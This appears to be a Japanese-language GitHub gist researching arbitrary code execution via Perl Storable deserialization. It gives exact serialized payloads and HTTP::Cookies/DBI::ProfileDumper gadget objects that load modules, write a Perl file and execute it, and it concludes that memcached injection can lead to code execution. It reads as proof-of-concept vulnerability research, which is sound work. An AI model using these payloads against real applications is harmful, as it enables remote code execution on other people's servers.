Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Storableからの任意コード実行脆弱性についての調査

Storableからの任意コード実行脆弱性についての調査

概要

  • HTTP::Cookies と DBI::ProfileDumperを使う
  • HTTP::Cookies は LWPの依存モジュールで、DBI::ProfileDumperはDBIに付属している。どちらもインストールされている可能性が非常に高い

HTTP::Cookies の autosave 機能で任意ファイルにcookiejarが保存される。 DBI::ProfileDumper もDESTROY時のflushでファイルに書きこむ。存在しているファイルへの追記であれば比較的自由なフォーマットでファイルに書き込み可能。

任意モジュールのロード

Storable::nfreeze {a => bless {}, ModuleName} を作ってモジュール名の前の 4 を 24 に変更する。

HTTP::CookiesとDBI::ProfileDumperのロードはそれぞれ

Storable::thaw "\5\b\3\0\0\0\1\24\21\rHTTP::Cookies\3\0\0\0\0\0\0\0\1a"
Storable::thaw "\5\b\3\0\0\0\1\24\21\22DBI::ProfileDumper\3\0\0\0\0\0\0\0\1a"

エラーが出るがモジュールのロードには成功する。

ファイル作成

以下のようなオブジェクトがDESTROYされると

bless({ autosave => 1, COOKIES => {}, file => "TmpTmp.pm" }, "HTTP::Cookies")
bless({ _wrote_header => "TmpTmp.pm", File => "TmpTmp.pm", LockFile => 1, Data => { ";\$xxx" => ["11111; package TmpTmp; print 12345; 1; #aaa"] }, "DBI::ProfileDumper")

TmpTmp.pm に Perlとして有効なsyntaxのファイルが作成される

#LWP-Cookies-1.0
+ 1 ;$xxx
= 11111; package TmpTmp; print 12345; 1; #aaa

作成したファイルの実行

Storable::thaw "\5\b\3\0\0\0\1\24\21\6TmpTmp\3\0\0\0\0\0\0\0\1a"

考察

Storable::thaw に任意のデータを渡せる脆弱性は、全て任意コードの実行が可能だと考える必要がある。

例えば、

  • memcachedインジェクションで任意キーに任意データを書き込み可能なケース → アプリで使われるキー名が既知であれば、デシリアライズの際にStorable::thawが呼ばれるので任意コード実行

参考文献

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.